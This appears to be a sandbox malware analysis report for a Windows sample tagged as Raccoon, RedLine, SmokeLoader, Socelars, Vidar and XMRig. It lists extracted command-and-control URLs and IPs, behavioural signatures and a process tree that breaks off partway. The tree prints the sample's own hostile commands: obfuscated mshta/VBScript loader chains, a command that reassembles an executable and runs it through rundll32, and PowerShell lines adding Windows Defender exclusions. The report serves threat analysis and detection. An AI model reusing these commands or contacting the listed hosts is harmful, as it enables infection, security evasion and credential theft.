Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

022e3c30a1...66.exe

windows11_x64

10

022e3c30a1...66.exe

windows10_x64

1

022e3c30a1...66.exe

windows10_x64

10

4d27dca0a1...ef.exe

windows11_x64

10

4d27dca0a1...ef.exe

windows10_x64

10

4d27dca0a1...ef.exe

windows10_x64

10

578a3a7a2b...b3.exe

windows11_x64

10

578a3a7a2b...b3.exe

windows10_x64

10

578a3a7a2b...b3.exe

windows10_x64

10

9c4880a98c...82.exe

windows11_x64

10

9c4880a98c...82.exe

windows10_x64

10

9c4880a98c...82.exe

windows10_x64

10

a1dad4a83d...c4.exe

windows11_x64

10

a1dad4a83d...c4.exe

windows10_x64

10

a1dad4a83d...c4.exe

windows10_x64

10

acf1b7d80f...e0.exe

windows11_x64

10

acf1b7d80f...e0.exe

windows10_x64

10

acf1b7d80f...e0.exe

windows10_x64

10

cbf31d825a...d2.exe

windows11_x64

10

cbf31d825a...d2.exe

windows10_x64

10

cbf31d825a...d2.exe

windows10_x64

10

db76a117db...12.exe

windows11_x64

10

db76a117db...12.exe

windows10_x64

10

db76a117db...12.exe

windows10_x64

10

e2ffb8aeeb...f6.exe

windows11_x64

10

e2ffb8aeeb...f6.exe

windows10_x64

10

e2ffb8aeeb...f6.exe

windows10_x64

10

f2196668f4...cb.exe

windows11_x64

10

f2196668f4...cb.exe

windows10_x64

10

f2196668f4...cb.exe

windows10_x64

10

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    308s
  • max time network
    1117s
  • platform
    windows10_x64
  • resource
    win10-de-20211104
  • submitted
    08/11/2021, 16:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe

Score
10/10
raccoonredlinesmokeloadersocelarsvidarxmrig2f2ad1a1aa093c5a9d17040c8efd5650a99640b5fucker2media18aspackv2backdoordiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes
  • url4cnc

    http://telegatt.top/oh12manymarty

    http://telegka.top/oh12manymarty

    http://telegin.top/oh12manymarty

    https://t.me/oh12manymarty

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

redline

Botnet

media18

C2

91.121.67.60:2151

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/
rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Turns off Windows Defender SpyNet reporting 2 TTPs
    evasion
  • UAC bypass 3 TTPs
    evasiontrojan
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE ClipBanker Variant Activity (POST)

    suricata: ET MALWARE ClipBanker Variant Activity (POST)

    suricata
  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata
  • suricata: ET MALWARE FormBook CnC Checkin (POST) M2

    suricata: ET MALWARE FormBook CnC Checkin (POST) M2

    suricata
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata
  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata
  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Blocklisted process makes network request 12 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 36 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 12 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 17 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 11 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Kills process with taskkill 17 IoCs
    evasion
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 18 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    PID:3068
    • C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
      "C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\setup_install.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:200
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
              PID:1412
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1452
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue1607c6ec89.exe
              5⤵
                PID:1308
                • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1607c6ec89.exe
                  Tue1607c6ec89.exe
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:3804
                  • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1607c6ec89.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue1607c6ec89.exe
                    7⤵
                    • Executes dropped EXE
                    PID:4368
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Tue160598ce8b05.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1488
                • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue160598ce8b05.exe
                  Tue160598ce8b05.exe
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3280
                  • C:\Users\Admin\AppData\Roaming\3404685.exe
                    "C:\Users\Admin\AppData\Roaming\3404685.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:4488
                  • C:\Users\Admin\AppData\Roaming\6385619.exe
                    "C:\Users\Admin\AppData\Roaming\6385619.exe"
                    7⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4732
                  • C:\Users\Admin\AppData\Roaming\4356500.exe
                    "C:\Users\Admin\AppData\Roaming\4356500.exe"
                    7⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4924
                  • C:\Users\Admin\AppData\Roaming\3170726.exe
                    "C:\Users\Admin\AppData\Roaming\3170726.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:4040
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3170726.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3170726.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                      8⤵
                        PID:4720
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3170726.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3170726.exe" ) do taskkill -f -Im "%~NXZ"
                          9⤵
                            PID:4116
                            • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                              ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                              10⤵
                              • Executes dropped EXE
                              PID:4796
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                11⤵
                                  PID:4308
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                    12⤵
                                      PID:5220
                                  • C:\Windows\SysWOW64\mshta.exe
                                    "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                    11⤵
                                      PID:5768
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                        12⤵
                                          PID:5888
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                            13⤵
                                              PID:6136
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                              13⤵
                                                PID:6128
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  14⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4936
                                              • C:\Windows\SysWOW64\control.exe
                                                control ..\WfNRfms4.K
                                                13⤵
                                                  PID:5208
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                    14⤵
                                                    • Loads dropped DLL
                                                    PID:5288
                                                    • C:\Windows\system32\RunDll32.exe
                                                      C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                      15⤵
                                                        PID:9184
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
                                                          16⤵
                                                          • Blocklisted process makes network request
                                                          PID:7028
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill -f -Im "3170726.exe"
                                              10⤵
                                              • Kills process with taskkill
                                              PID:2452
                                      • C:\Users\Admin\AppData\Roaming\8121409.exe
                                        "C:\Users\Admin\AppData\Roaming\8121409.exe"
                                        7⤵
                                          PID:2136
                                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                            8⤵
                                            • Executes dropped EXE
                                            PID:4504
                                        • C:\Users\Admin\AppData\Roaming\5553038.exe
                                          "C:\Users\Admin\AppData\Roaming\5553038.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:4428
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Tue16497809b6bd.exe
                                      5⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2168
                                      • C:\Users\Admin\AppData\Local\Temp\7zS0BA8EC36\Tue16497809b6bd.exe
                                        Tue16497809b6bd.exe
                                        6⤵
                                        • Executes dropped EXE
                                        • Checks computer location settings
                                        PID:1516
                                        • C:\Users\Admin\Pictures\Adobe Films\AVvnNOMuwMhnpytLrVpqjlC3.exe
                                          "C:\Users\Admin\Pictures\Adobe Films\AVvnNOMuwMhnpytLrVpqjlC3.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:5504
                                        • C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe
                                          "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe"
                                          7⤵
                                            PID:4324
                                            • C:\Users\Admin\AppData\Local\Temp\a11a3388-8e62-45a0-8421-d0370be3b560\AdvancedRun.exe
                                              "C:\Users\Admin\AppData\Local\Temp\a11a3388-8e62-45a0-8421-d0370be3b560\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\a11a3388-8e62-45a0-8421-d0370be3b560\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                              8⤵
                                              • Executes dropped EXE
                                              PID:1476
                                              • C:\Users\Admin\AppData\Local\Temp\a11a3388-8e62-45a0-8421-d0370be3b560\AdvancedRun.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a11a3388-8e62-45a0-8421-d0370be3b560\AdvancedRun.exe" /SpecialRun 4101d8 1476
                                                9⤵
                                                  PID:5432
                                              • C:\Users\Admin\AppData\Local\Temp\edd588ad-9099-4aa0-9a12-402f24c9037c\AdvancedRun.exe
                                                "C:\Users\Admin\AppData\Local\Temp\edd588ad-9099-4aa0-9a12-402f24c9037c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\edd588ad-9099-4aa0-9a12-402f24c9037c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                8⤵
                                                • Executes dropped EXE
                                                PID:2756
                                                • C:\Users\Admin\AppData\Local\Temp\edd588ad-9099-4aa0-9a12-402f24c9037c\AdvancedRun.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\edd588ad-9099-4aa0-9a12-402f24c9037c\AdvancedRun.exe" /SpecialRun 4101d8 2756
                                                  9⤵
                                                  • Executes dropped EXE
                                                  PID:2476
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe" -Force
                                                8⤵
                                                  PID:5312
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe" -Force
                                                  8⤵
                                                    PID:5124
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe" -Force
                                                    8⤵
                                                      PID:6128
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                      8⤵
                                                        PID:2252
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                        8⤵
                                                          PID:4272
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe" -Force
                                                          8⤵
                                                            PID:4748
                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
                                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
                                                            8⤵
                                                              PID:4972
                                                              • C:\Users\Admin\AppData\Local\Temp\028ecbfc-fd62-4859-b3b6-acfcecb1a3b7\AdvancedRun.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\028ecbfc-fd62-4859-b3b6-acfcecb1a3b7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\028ecbfc-fd62-4859-b3b6-acfcecb1a3b7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                9⤵
                                                                  PID:6004
                                                                  • C:\Users\Admin\AppData\Local\Temp\028ecbfc-fd62-4859-b3b6-acfcecb1a3b7\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\028ecbfc-fd62-4859-b3b6-acfcecb1a3b7\AdvancedRun.exe" /SpecialRun 4101d8 6004
                                                                    10⤵
                                                                    • Executes dropped EXE
                                                                    PID:5412
                                                                • C:\Users\Admin\AppData\Local\Temp\6d290803-8473-4d87-8b8a-b67d95b645c8\AdvancedRun.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\6d290803-8473-4d87-8b8a-b67d95b645c8\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6d290803-8473-4d87-8b8a-b67d95b645c8\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                  9⤵
                                                                  • Executes dropped EXE
                                                                  PID:2384
                                                                  • C:\Users\Admin\AppData\Local\Temp\6d290803-8473-4d87-8b8a-b67d95b645c8\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\6d290803-8473-4d87-8b8a-b67d95b645c8\AdvancedRun.exe" /SpecialRun 4101d8 2384
                                                                    10⤵
                                                                      PID:4468
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                    9⤵
                                                                      PID:5820
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                      9⤵
                                                                        PID:5980
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                        9⤵
                                                                          PID:1512
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                          9⤵
                                                                            PID:6244
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                            9⤵
                                                                              PID:6312
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                              9⤵
                                                                                PID:6600
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
                                                                                9⤵
                                                                                  PID:6540
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
                                                                                  9⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:6004
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                8⤵
                                                                                • Executes dropped EXE
                                                                                PID:5432
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\3pJIjUTVHmP9GyEPVpTq_2QC.exe" -Force
                                                                                8⤵
                                                                                  PID:5784
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                  8⤵
                                                                                    PID:4740
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
                                                                                    8⤵
                                                                                      PID:4596
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\05l7Npqjy3zNK73j1k01OeGa.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\05l7Npqjy3zNK73j1k01OeGa.exe"
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:4216
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\PFycf5WVoFpZThWBjF9iIy8p.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\PFycf5WVoFpZThWBjF9iIy8p.exe"
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetThreadContext
                                                                                    PID:4584
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\PFycf5WVoFpZThWBjF9iIy8p.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\PFycf5WVoFpZThWBjF9iIy8p.exe"
                                                                                      8⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:5604
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\AFcwxcy1t2iSkubgCkGFKy4v.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\AFcwxcy1t2iSkubgCkGFKy4v.exe"
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5536
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                      8⤵
                                                                                        PID:5684
                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                          taskkill /f /im chrome.exe
                                                                                          9⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:5884
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\HjJXeiCkytG6lxMq6OQKcjov.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\HjJXeiCkytG6lxMq6OQKcjov.exe"
                                                                                      7⤵
                                                                                      • Executes dropped EXE
                                                                                      • Checks SCSI registry key(s)
                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                      PID:988
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\HveFiaeXXM0weENd1aMUvcQD.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\HveFiaeXXM0weENd1aMUvcQD.exe"
                                                                                      7⤵
